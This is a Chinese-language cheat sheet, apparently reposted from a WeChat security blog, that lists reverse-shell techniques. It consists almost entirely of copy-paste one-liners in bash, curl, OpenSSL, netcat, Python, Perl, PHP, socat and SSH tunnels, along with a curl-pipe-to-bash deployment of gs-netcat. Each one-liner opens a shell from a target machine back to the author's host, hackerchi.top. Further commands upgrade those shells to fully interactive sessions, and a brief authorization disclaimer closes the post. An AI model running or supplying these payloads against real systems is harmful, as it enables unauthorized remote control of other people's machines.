高级黑客技术-5. 反向Shell/Shell

admin 2024年4月24日21:50:31评论7 views字数 4390阅读14分38秒阅读模式
高级黑客技术-5. 反向Shell/Shell

欢迎访问我们的网站和关注我们的公众号,获取最新的免费资源、安全知识、信息流。                  

网站https://hackerchi.top                                         

互联网信息流https://hackerchi.top/Feeds.html

微信公众号:黑客驰

本指南提供了多种方法来建立反向Shell,包括使用加密和明文方式,适用于不同的场景和需求。通过这些技术,安全专家和合法授权的渗透测试者可以有效地控制远程系统,进行安全测试和漏洞评估。

  1. gs-netcat 提供加密的反向Shell,支持文件传输和管理员登录警报。

  2. Bash 和 cURL 方法允许通过简单的命令行工具建立连接。OpenSSL 和 remote.moe 提供了加密通道,增强了数据传输的安全性。

  3. 对于特殊环境,如不支持/dev/tcp或没有Bash的系统,可以使用 Python、PHP、Perl 或 netcat 来建立反向Shell。

  4. 为了提升交互体验,介绍了如何将反向Shell升级为PTY Shell和完全交互式Shell,使得使用者能够执行更复杂的命令和程序。

  5. socat 提供了一种高级的反向Shell建立方式,支持完全交互式体验。

5.反向Shell/Shell 指南

5.1 使用 gs-netcat 进行反向 shell(加密)

gs-netcat 提供一个加密的反向 shell,允许在 NAT 后面的系统之间建立连接,并通过中继网络路由流量。它支持文件上传/下载以及管理员登录时的警报功能。

  • 部署命令

  • X=hackerchiSecretChangeMe bash -c "$(curl -fsSL <https://gsocket.io/y>)"

    或者

    X=hackerchiSecretChangeMe bash -c "$(wget --no-verbose -O- <https://gsocket.io/y>)"
  • 连接到 shell

  • S=hackerchiSecretChangeMe bash -c "$(curl -fsSL <https://gsocket.io/y>)"

    或者

    gs-netcat -s hackerchiSecretChangeMe -i

    添加 -T 参数可以通过 TOR 网络进行隧道传输。

5.2 使用 Bash 进行反向 shell

  • 侦听命令

  • nc -nvlp 1524

    或使用 pwncat

    pwncat -lp 1524
  • 在远程系统上执行

  • (bash -i &>/dev/tcp/hackerchi.top/1524 0>&1) &

    或者,如果当前 shell 不是 Bash:

    bash -c '(exec bash -i &>/dev/tcp/hackerchi.top/1524 0>&1) &'

5.3 使用 cURL 进行反向 shell(加密)

  • 在工作站上生成 SSL 密钥并启动监听服务器

  • openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=hackerchi"
    ./curlshell.py --certificate cert.pem --private-key key.pem --listen-port 8080
  • 在目标系统上执行

  • curl -skfL <https://hackerchi.top:8080> | bash

5.4 使用 cURL 进行反向 shell(明文)

  • 启动监听

  • ncat -kltv 1524
  • 在目标系统上执行

  • C="curl -Ns telnet://hackerchi.top:1524"; $C </dev/null 2>&1 | sh 2>&1 | $C >/dev/null

5.5 使用 OpenSSL 进行反向 shell(加密)

  • 在工作站上生成 SSL 密钥并启动监听服务器

  • openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -sha256 -days 3650 -nodes -subj "/CN=hackerchi"
    openssl s_server -port 1524 -cert cert.pem -key key.pem
  • 在目标系统上启动 OpenSSL 反向 shell

  • ({ openssl s_client -connect hackerchi.top:1524 -quiet </dev/fd/3 3>&- 2>/dev/null | sh 2>&3 >&3 3>&- ; } 3>&1 | : & )

5.6 不带 /dev/tcp 的反向 shell

对于不支持 /dev/tcp 或者没有 Bash 的嵌入式系统,可以使用其他语言(Python、PHP、Perl 等)或上传 netcat 来建立反向 shell。

  • 使用 netcat:或者,如果 e 不支持:

  • nc -e /bin/sh -vn hackerchi.top 1524
    { nc -vn hackerchi.top 1524 </dev/fd/3 3>&- | sh 2>&3 >&3 3>&- ; } 3>&1 | :

5.7 使用 remote.moe 和 ssh 进行反向 shell(加密)

通过 remote.moe 隧道传输原始 TCP 数据,可以建立加密的反向 shell。

  • *在工作站上创建隧道:

ssh-keygen -q -t rsa -N "" -f .r
ssh -i .r -R31337:0:8080 -o StrictHostKeyChecking=no [email protected]; rm -f .r

注意记录下 remote.moe 地址,看起来像是 uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe

  • 在第二个终端开始监听反向 shell

  • nc -vnlp 8080
  • 在目标系统上执行

  • bash -c '(killall ssh; rm -f /tmp/.r; ssh-keygen -q -t rsa -N "" -f /tmp/.r; ssh -i /tmp/.r -o StrictHostKeyChecking=no -L31338:uydsgl6i62nrr2zx3bgkdizlz2jq2muplpuinfkcat6ksfiffpoa.remote.moe:31337 -Nf remote.moe;  bash -i &>/dev/tcp/0/31338 0>&1 &)'

5.8 使用 Python 进行反向 shell

  • 执行命令

  • python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("hackerchi.top",1524));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

5.9 使用 Perl 进行反向 shell

  • 方法1

  • perl -e 'use Socket;$i="hackerchi.top";$p=1524;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

  • 方法2

  • perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"hackerchi.top:1524");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'

5.10 使用 PHP 进行反向 shell

  • 执行命令

  • php -r '$sock=fsockopen("hackerchi.top",1524);exec("/bin/bash -i <&3 >&3 2>&3");'

5.11 将反向 shell 升级为 PTY shell

为了使某些命令(如 sudo bashtop)正常工作,我们需要将 shell 升级为真正的 PTY shell。

  • 使用 script

  • exec script -qc /bin/bash /dev/null  # Linux
    exec script -q /dev/null /bin/bash # BSD
  • 使用 python

  • exec python -c 'import pty; pty.spawn("/bin/bash")'

5.12 将反向 shell 升级为完全交互式 shell

为了能够使用 Ctrl-C 等控制字符,我们需要将反向 shell 升级为完全交互式 shell。

  • 在目标主机上获取 PTY

  • python -c 'import pty; pty.spawn("/bin/bash")'

    然后按 Ctrl-Z 暂停连接并返回到自己的终端。

  • 在您的终端上执行

  • stty raw -echo opost; fg
  • 在目标主机上配置环境

  • export SHELL=/bin/bash
    export TERM=xterm-256color
    reset -I
    stty -echo;printf "\033[18t";read -rdt R;stty sane $(echo "$R"|awk -F";" '{ printf "rows "$3" cols"$2; }')

并优化您的提示符:PS1='USERS=$(who | wc -l) LOAD=$(cut -f1 -d" " /proc/loadavg) PS=$(ps -e --no-headers|wc -l) [e[36m]u[e[m]@[e[32m]h:[e[33;1m]w [e[0;31m]$[e[m] '

5.13 使用 socat 进行反向 shell(完全交互)

socat 是一个多功能的网络工具,可以用来创建更加复杂的反向 shell,提供完全交互式的体验。

在攻击者的主机上(监听器):

socat file:`tty`,raw,echo=0 tcp-listen:1524

在目标主机上(反向 shell):

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:hackerchi.top:1524

通过这些方法,无论是通过简单的 Bash 脚本还是利用更高级的工具如 socat,都可以实现反向 shell 的建立,从而为渗透测试者、安全研究员或者是合法授权的黑客提供了强大的远程控制能力。记得在进行这些操作时,确保你有明确的授权,以避免违法行为。

原文始发于微信公众号(黑客驰):高级黑客技术-5. 反向Shell/Shell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年4月24日21:50:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   高级黑客技术-5. 反向Shell/Shellhttp://cn-sec.com/archives/2687036.html

发表评论

匿名网友 填写信息